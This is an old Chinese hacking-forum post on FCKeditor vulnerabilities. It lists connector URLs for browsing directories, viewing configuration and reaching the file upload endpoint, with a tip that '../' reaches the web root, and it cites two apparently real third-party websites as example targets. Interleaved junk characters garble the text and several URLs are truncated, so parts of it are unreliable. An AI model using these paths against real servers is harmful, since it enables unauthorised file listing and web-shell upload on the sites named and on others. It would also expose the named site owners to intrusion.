找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

$ ]/ Y& o* F# b( ?2 [8 Wfckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp/ n3 u# Y" w) b9 x! e
http://www.china-photo-model.com ... aspx/connector.aspx
3 W; q9 V  F/ J3 D* J3 f. F. t4 h$ ^) n  `& G

7 U+ }5 k5 i6 hhttp://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector
% Z4 V" w+ R3 j# \/ [. y/ Y
# L* {5 l. x7 I+ B: ^  H, |6 |8 L0 Z* d/ X) Q( u1 i) d6 o
: I) N% Z& g& X& Z+ x5 U

6 G, O% I2 ~- n& {7 `3 V' {' M  U# o1 ?; u5 I& L
查看配置和列出目录下的文件.% z- p8 X2 C! r2 O. B

4 a! ~8 R4 X4 C2 s
. k  }. p" V5 E! g1 Zhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F; `! N& z/ E! B' y  f' `
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F! s7 `: p9 l) E8 n" w' i6 K' l' }
& ~% |  T3 n6 b1 R
上传地址:
4 x# g3 n7 Y2 }6 q3 m4 B3 {% {
! {2 r* d" V( }4 L1 B6 U4 F( E" `http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F4 V; `& S1 G( g+ t# R
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表